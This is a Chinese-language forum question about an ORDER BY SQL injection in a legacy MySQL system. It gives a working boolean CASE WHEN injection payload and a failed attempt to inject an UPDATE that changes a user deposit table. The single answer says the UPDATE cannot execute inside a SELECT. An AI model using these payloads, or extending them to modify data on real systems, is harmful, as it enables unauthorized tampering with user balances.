mysql - sql報錯原因？
問題描述
發現一個正在維護的老系統的基于orderBy的sql注入漏洞，準備驗證一下，
我先執行這個sql注入，是可以的
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(select depositfrom sysuser_user_deposit)end)=1 ASC LIMIT 20 OFFSET 0
但是當我執行這個帶update語句的sql時報錯了：
SELECT sysitem_item.item_id FROM sysitem_item `sysitem_item` ORDER BY (selectcasewhen(1=1)then1else(updatesysuser_user_depositsetdeposit=11)end)=1 ASC LIMIT 20 OFFSET 0
報錯
<code>#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ’update<br>sysuser_user_deposit<br>set<br>deposit=11)end)=1 ASC LIMIT 20 OFFSET 0’ at line 9</code>
我應該如何讓他執行update？
問題解答
回答1：主體是select的時候，里面是不能update的，否則執行不了的，mybatis這種注入我試過，<select>里執行update直接報錯，注入不了
相關文章：
1. 求救一下，用新版的phpstudy，數據庫過段時間會消失是什么情況？2. python沒入門，請教一個問題3. 小程序怎么加外鏈，語句怎么寫！求救新手，開文檔沒發現4. php如何獲取訪問者路由器的mac地址5. html - 爬蟲時出現“DNS lookup failed”，打開網頁卻沒問題，這是什么情況？6. html5 - input type=’file’ 上傳獲取的fileList對象怎么存儲于瀏覽器？7. 求教一個mysql建表分組索引問題8. node.js - 用nodejs 的node-xlsx模塊去讀取excel中的數據，可是讀取出來的日期是數字，請問該如何讀取日期呢？9. javascript - vue-resource中如何設置全局的timeout？10. javascript - 在 vue里面用import引入js文件，結果為undefined
網公網安備